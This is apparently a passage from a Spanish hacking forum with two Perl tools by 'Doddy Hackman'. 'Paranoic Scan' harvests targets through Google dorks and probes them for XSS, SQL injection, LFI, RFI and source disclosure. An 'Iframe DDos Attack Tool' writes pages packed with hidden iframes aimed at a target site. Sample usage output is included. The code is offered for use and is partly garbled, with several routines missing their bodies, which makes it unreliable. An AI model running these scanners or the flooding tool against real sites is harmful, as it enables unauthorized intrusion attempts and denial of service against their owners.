@@@ @ @ @ @ @ @ @ @ @ @ @ @@@ @@ @ @ @@@ @ @@@ @@@ @@@ @@@ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @@ @ @ @ @ @@@ @@@ @@ @ @ @ @ @@@ @@ @ @@ @@@ @
[+] Options
1 - MD5 encode 2 - Base64 encode 3 - Base64 decode 4 - Ascii encode 5 - Ascii decode 6 - Hex encode 7 - Hex decode 8 - URL encode 9 - URL decode 10 - Exit
[+] Option :
|
|
|
539
|
Programación / Scripting / [Perl] Paranoic Scan 0.9
|
en: 7 Octubre 2011, 01:15 am
|
La misma herramienta de siempre pero le agregue dos cosas nuevas - XSS POST & GET
- SQL POST & GET
#!usr/bin/perl #Paranoic Scan 0.9 Updated #(c)0ded by Doddy H 2010 # #Search in google with a dork #Scan type : # #XSS #Full Source Discloure #LFI #RFI #SQL GET & POST #MSSQL #Oracle #Jet Database #Find HTTP Options y Server nAME # # use LWP::UserAgent; use HTML::LinkExtor; use HTML::Form; use URI ::Split qw(uri_split ); use IO::Socket; my $nave = LWP::UserAgent->new; $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); $nave->timeout(5); installer(); sta(); sub sta { sub head { @@@@@ @ @@@@ @ @@ @@@ @@@ @@@ @@@@ @@@ @@@@ @ @@ @@@ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @ @@@ @ @ @@@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @@@@@ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @@ @@@ @@@ @@@@@@ @@@@ @@@@@@ @ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@ @ ); } &menu; sub menu { &head; print "[a] : Scan a File\n"; print "[b] : Search in google and scan the webs\n\n"; if ($op =~/a/ig) { print "\n[+] Wordlist : "; chomp(my $word = <STDIN>); my @paginas = repes(cortar(savewords($word))); my $option = &men; print "\n\n[+] Opening File\n"; scan($option,@paginas); } elsif ($op=~/b/ig) { chomp(my $dork = <STDIN>); chomp(my $pag = <STDIN>); my $option = &men; print "\n\n[+] Searching in google\n"; my @paginas = &google($dork,$pag); scan($option,@paginas); } else { &menu; } } sub scan { my ($option,@webs) = @_; print "\n\n[Status] : Scanning\n"; print "[Webs Count] : ".int(@webs)."\n\n\n"; for(@webs) { if ($option=~/S/ig) { scansql($_); } if ($option=~/L/ig) { lfi($_); } if ($option=~/R/ig) { rfi($_); } if ($option=~/F/ig) { fsd($_); } if ($option=~/X/ig) { scanxss($_); } if ($option=~/M/ig) { mssql($_); } if ($option=~/J/ig) { access($_); } if ($option=~/O/ig) { oracle($_); } if ($option=~/HT/ig) { http($_); } if ($option=~/A/ig) { scansql($_); scanxss($_); mssql($_); access($_); oracle($_); lfi($_); rfi($_); fsd($_); http($_); } } } print "\n\n[Status] : Finish\n"; &finish; } sub toma { return $nave->get($_[0])->content; } sub savefile { open (SAVE ,">>logs/".$_[0]); } sub finish { print "\n\n\n(C) Doddy Hackman 2010\n\n"; <STDIN>; sta(); } sub google { my($a,$b) = @_; for ($pages=10;$pages<=$b;$pages=$pages+10) { $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages"); my @links = get_links($code); for my $l(@links) { if ($l =~/webcache.googleusercontent.com/) { } } } for(@url) { if ($_ =~/cache:(.*?):(.*?)\+/) { } } my @founds = repes(cortar(@founds)); } sub http { my ($scheme, $auth, $path, $query, $frag) = uri_split($_[0]); my $socket = IO::Socket::INET->new( PeerAddr=>$auth, PeerPort=>"80", Proto=>"tcp"); print $socket "OPTIONS / HTTP/1.0\r\n\r\n"; read $socket,$resultado,"1000"; if ($resultado=~/Server:(.*)/g) { my $server = $1; savefile("http-logs.txt","[+] Page : $auth"."\n"); savefile("http-logs.txt","[+] Server : ".$server."\n"); } if ($resultado=~/Allow: (.*)/g) { my $options = $1; savefile("http-logs.txt","[+] Options : ".$options."\n"); } $socket->close; } sub scanxss { my @testar = HTML::Form->parse(toma($page),"/"); my @botones_names; my @botones_values; my @orden; my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>'); my @get_founds; my @post_founds; my @ordenuno; my @ordendos; my $contador_forms = 0; my $valor = "doddyhackman"; for my $test(@testar) { $contador_forms++; if ($test->method eq "POST") { my @inputs = $test->inputs; for my $in(@inputs) { if ($in->type eq "submit") { if ($in->name eq "") { push(@botones_names,"submit"); } push(@botones_names,$in->name); push(@botones_values,$in->value); } else { push(@ordenuno,$in->name,$pa[0]); push(@ordendos,$in->name,$pa[1]); }} for my $n(0..int(@botones_names)-1) { my @preuno = @ordenuno; my @predos = @ordendos; push(@preuno,$botones_names[$n],$botones_values[$n]); push(@predos,$botones_names[$n],$botones_values[$n]); my $codeuno = $nave->post($page,\@preuno)->content; my $codedos = $nave->post($page,\@predos)->content; if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or $codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) { if ($test->attr(name) eq "" or $test->attr(name) eq " ") { push(@post_founds,$contador_forms); } else { push(@post_founds,$test->attr(name )); }}} } else { #Fin de metodo POST my @inputs = $test->inputs; for my $in(@inputs) { if ($in->type eq "submit") { if ($in->name eq "") { push(@botones_names,"submit"); } push(@botones_names,$in->name); push(@botones_values,$in->value); } else { $orden.=''.$in->name.'='.$valor.'&'; }} for my $n(0..int(@botones_names)-1) { my $partedos = "&".$botones_names[$n]."=".$botones_values[$n]; my $final = $orden.$partedos; for my $strin(@pa) { $final=~s/doddyhackman /$strin/; $code = toma($page."?".$final); my $strin = "\Q$strin\E"; if ($code=~/$strin/) { push(@get_founds,$page."?".$final); }}}}} my @get_founds = repes(@get_founds); if (int(@get_founds) ne 0) { for(@get_founds) { savefile("xss-logs.txt","[+] XSS Found : $_"); print "[+] XSS Found : $_\n\a"; }} my @post_founds = repes(@post_founds); if (int(@post_founds) ne 0) { for my $t(@post_founds) { if ($t =~/^\d+$/) { savefile("xss-logs.txt","[+] XSS : Form $t in $page"); print "[+] XSS : Form $t in $page\n\a"; }}}} sub scansql { my $copia = $page; $co = toma($page."'"); if ($co=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $co=~ /mysql_free_result/ig || $co =~ /mysql_fetch_assoc/ig ||$co =~ /mysql_num_rows/ig || $co =~ /mysql_fetch_array/ig || $co =~/mysql_fetch_assoc/ig || $co=~/mysql_query/ig || $co=~/mysql_free_result/ig || $co=~/equivocado en su sintax/ig || $co=~/You have an error in your SQL syntax/ig || $co=~/Call to undefined function/ig) { savefile("sql-logs.txt","[+] SQL : $page"); print "[+] SQLI : $page\a\n"; } if ($page=~/(.*)\?(.*)/) { my $page = $1; my @testar = HTML::Form->parse(toma($page),"/"); my @botones_names; my @botones_values; my @orden; my @get_founds; my @post_founds; my @ordenuno; my @ordendos; my $contador_forms = 0; my $valor = "doddyhackman"; for my $test(@testar) { $contador_forms++; if ($test->method eq "POST") { my @inputs = $test->inputs; for my $in(@inputs) { if ($in->type eq "submit") { if ($in->name eq "") { push(@botones_names,"submit"); } push(@botones_names,$in->name); push(@botones_values,$in->value); } else { push(@ordenuno,$in->name,"'"); }} for my $n(0..int(@botones_names)-1) { my @preuno = @ordenuno; push(@preuno,$botones_names[$n],$botones_values[$n]); my $code = $nave->post($page,\@preuno)->content; if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) { if ($test->attr(name) eq "" or $test->attr(name) eq " ") { push(@post_founds,$contador_forms); } else { push(@post_founds,$test->attr(name )); }}}} my @post_founds = repes(@post_founds); if (int(@post_founds) ne 0) { for my $t(@post_founds) { if ($t =~/^\d+$/) { savefile("sql-logs.txt","[+] SQLI : Form $t in $page"); print "[+] SQLI : Form $t in $page\n\a"; }}}}}} sub access { $code1 = toma($page."'"); if ($code1=~/Microsoft JET Database/ig or $code1=~/ODBC Microsoft Access Driver/ig) { print "[+] Jet DB : $page\a\n"; savefile("jetdb-logs.txt",$page); } } sub mssql { $code1 = toma($page."'"); if ($code1=~/ODBC SQL Server Driver/ig) { print "[+] MSSQL : $page\a\n"; savefile("mssql-logs.txt",$page); } } sub oracle { $code1 = toma($page."'"); if ($code1=~/Microsoft OLE DB Provider for Oracle/ig) { print "[+] Oracle : $page\a\n"; savefile("oracle-logs.txt",$page); } } sub rfi { $code1 = toma($page."http:/www.supertangas.com/"); if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD print "[+] RFI : $page\a\n"; savefile("rfi-logs.txt",$page); }} sub lfi { $code1 = toma($page."'"); if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) { print "[+] LFI : $page\a\n"; savefile("lfi-logs.txt",$page); }} sub fsd { my ($scheme, $auth, $path, $query, $frag) = uri_split($page); if ($path=~/\/(.*)$/) { my $me = $1; $code1 = toma($page.$me); if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) { print "[+] Full Source Discloure : $page\a\n"; savefile("fpd-logs.txt",$page); }}} sub repes { my @limpio; foreach $test(@_) { push @limpio,$test unless $repe{$test}++; } } sub savewords { @words = <FILE>; for(@words) { } } sub men { print "\n\n[+] Scan Type : \n\n"; print "[J] : Jet Database\n"; print "[F] : Full Source Discloure\n"; print "[HT] : HTTP Information\n"; chomp(my $option = <STDIN>); } sub cortar { my @nuevo; for(@_) { if ($_ =~/=/) { push(@nuevo,@tengo[0]."="); } else { }} } sub get_links { $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]); sub agarrar { my ($a,%b) = @_; } } sub installer { unless (-d "logs/") { } } # ¿ The End ?
Ejemplo de uso
@@@@@ @ @@@@ @ @@ @@@ @@@ @@@ @@@@ @@@ @@@@ @ @@ @@@ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @ @@@ @ @ @@@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @@@@@ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @@ @@@ @@@ @@@@@@ @@@@ @@@@@@ @ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@ @
[a] : Scan a File [b] : Search in google and scan the webs
[option] :
|
|
|
540
|
Programación / Scripting / [Perl] Iframe DDos Attack Tool
|
en: 7 Octubre 2011, 01:15 am
|
Un simple poc para la los ataques de denegacion de servicio usando iframes. #!usr/bin/perl #Iframe DDos Attack Tool (C) Doddy Hackman 2011 use Cwd; installer(); sub head { print "\n\n-- == Iframe DDos Attack Tool == --\n\n"; } sub copyright { print "\n\n -- == Doddy Hackman 2011\n\n"; } sub sintax { print "\n[+] sintax : $0 <target> <count file> <count iframe>\n"; } sub start { my ($target,$files,$iframe) = @_; print "\n[+] Starting the party\n\n"; print "[+] Generating files and iframes\n"; print "\n[+] All Save in ".getcwd ()."/files/"."\n"; for my $can(1..$files) { open (POC ,">>files/index".$can.".html"); for my $tx(1..$iframe) { print POC '<iframe src="'.$target.'" width="3" height="3"></iframe><br>'; } } } head(); unless(@ARGV > 2) { sintax(); } else { start($ARGV[0],$ARGV[1],$ARGV[2]); } copyright(); sub installer { unless (-d "files/") { }} # ¿ The End ?
Ejemplo de uso C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II Finales\poc iframe>poc.pl "pepo.com" 4 4
-- == Iframe DDos Attack Tool == --
[+] Starting the party
[+] Generating files and iframes
[+] All Save in C:/Documents and Settings/Administrador/Escritorio/Leviatan/Hack ing/WarFactoy II Finales/poc iframe/files/
-- == Doddy Hackman 2011
|
|
|
|
|
|
|